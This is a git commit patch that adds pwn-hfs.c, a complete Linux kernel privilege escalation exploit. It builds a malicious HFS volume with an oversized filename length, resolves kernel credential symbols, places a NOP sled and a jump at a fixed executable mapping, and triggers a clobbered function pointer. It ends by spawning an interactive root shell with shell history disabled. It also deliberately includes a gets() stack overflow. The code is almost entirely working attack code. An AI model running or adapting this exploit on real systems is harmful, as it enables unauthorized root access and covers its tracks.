From 0595785db7fd012609db18d3a3715c610b5d467f Mon Sep 17 00:00:00 2001 From: "Jason A. Donenfeld" Date: Mon, 21 Nov 2011 08:49:43 -0500 Subject: Clearly the wrong way to do things. --- pwn-hfs.c | 174 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 174 insertions(+) create mode 100644 pwn-hfs.c (limited to 'pwn-hfs.c') diff --git a/pwn-hfs.c b/pwn-hfs.c new file mode 100644 index 0000000..66b7412 --- /dev/null +++ b/pwn-hfs.c @@ -0,0 +1,174 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +// Spender's kernel sym code +unsigned long get_kernel_sym(char *name) +{ + FILE *f; + unsigned long addr; + char dummy; + char sname[512]; + struct utsname ver; + int ret; + int rep = 0; + int oldstyle = 0; + + f = fopen("/proc/kallsyms", "r"); + if (f == NULL) { + f = fopen("/proc/ksyms", "r"); + if (f == NULL) + goto fallback; + oldstyle = 1; + } + +repeat: + ret = 0; + while(ret != EOF) { + if (!oldstyle) + ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); + else { + ret = fscanf(f, "%p %s\n", (void **)&addr, sname); + if (ret == 2) { + char *p; + if (strstr(sname, "_O/") || strstr(sname, "_S.")) + continue; + p = strrchr(sname, '_'); + if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) { + p = p - 4; + while (p > (char *)sname && *(p - 1) == '_') + p--; + *p = '\0'; + } + } + } + if (ret == 0) { + fscanf(f, "%s\n", sname); + continue; + } + if (!strcmp(name, sname)) { + fprintf(stdout, "[+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : ""); + fclose(f); + return addr; + } + } + + fclose(f); + if (rep) + return 0; +fallback: + uname(&ver); + if (strncmp(ver.release, "2.6", 3)) + oldstyle = 1; + sprintf(sname, "/boot/System.map-%s", ver.release); + f = fopen(sname, "r"); + if (f == NULL) + return 0; + rep = 1; + goto repeat; +} + +typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); +typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); +_commit_creds commit_creds; +_prepare_kernel_cred prepare_kernel_cred; + +volatile int got_root = 0; +void root() +{ + commit_creds(prepare_kernel_cred(0)); + got_root = 1; +} + +void build_volume() +{ + if (getuid()) { + printf("[-] You must be root to build the malicious volume. Do this on another computer you control.\n"); + exit(-1); + } + printf("[+] Building malicious HFS volume at /tmp/evilhfs.\n"); + system("dd if=/dev/zero of=/tmp/evilhfs count=2048"); + system("mkfs.hfs -h /tmp/evilhfs"); + system("mkdir -v /tmp/evilhfsmount"); + system("mount -v -t hfs /tmp/evilhfs /tmp/evilhfsmount"); + system("touch /tmp/evilhfsmount/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); + system("umount -v /tmp/evilhfsmount"); + system("rmdir -v /tmp/evilhfsmount"); + + printf("[+] Modifying volume.\n"); + FILE *hfs = fopen("/tmp/evilhfs", "r+"); + if (!hfs) { + perror("fopen"); + exit(-1); + } + fseek(hfs, 0x2AA0, SEEK_SET); + fputc(0xFF, hfs); // Make the length 255 + fseek(hfs, 0x2B00, SEEK_SET); + for (int i = 0; i < 128; ++i) + fputc('A', hfs); // Write an A, which is 0x41 + fclose(hfs); +} + +void main(int argc, char *argv[]) +{ + if (argc == 2 && strcmp(argv[1], "-b") == 0) { + build_volume(); + return; + } + + printf("[+] Resolving kernel symbols.\n"); + commit_creds = (_commit_creds) get_kernel_sym("commit_creds"); + prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred"); + if (!commit_creds || !prepare_kernel_cred) { + printf("[-] Failed to resolve kernel symbols.\n"); + exit(-1); + } + + printf("[+] Mmaping ascii page.\n"); + void *location = mmap((void*)0x40404000, sysconf(_SC_PAGE_SIZE), PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_SHARED, -1, 0); + if ((long)location < 0) { + perror("[-] mmap"); + exit(-1); + } + + printf("[+] Adding jmp to pwnage at 0x40404040.\n"); + for (unsigned long i = 0x40404000; i <= 0x40404040; ++i) + *(char*)i = 0x90; // nop + *(char*)0x40404041 = 0xe9; // jmp + *(unsigned long*)0x40404042 = (unsigned long)&root; + + printf("[+] Enter the mount point of the malicious HFS volume: "); + char mountpoint[256]; + // For good measure, I'm including a stack overflow inside of a stack overflow exploit. Have fun kids. + gets(mountpoint); + + printf("[+] Reading directory to trigger overflow.\n"); + DIR *dir = opendir(mountpoint); + if (!dir) { + perror("opendir"); + exit(-1); + } + while(readdir(dir)); + + printf("[+] Triggering clobbered function pointer.\n"); + syscall(__NR_restart_syscall); + + if (!got_root) { + printf("[-] Failed to get root.\n"); + exit(-1); + } + + setuid(0); + setgid(0); + setenv("HISTFILE", "/dev/null", 1); + execl("/bin/sh", "sh", "-i", NULL); +} \ No newline at end of file -- cgit v1.2.3-59-g8ed1b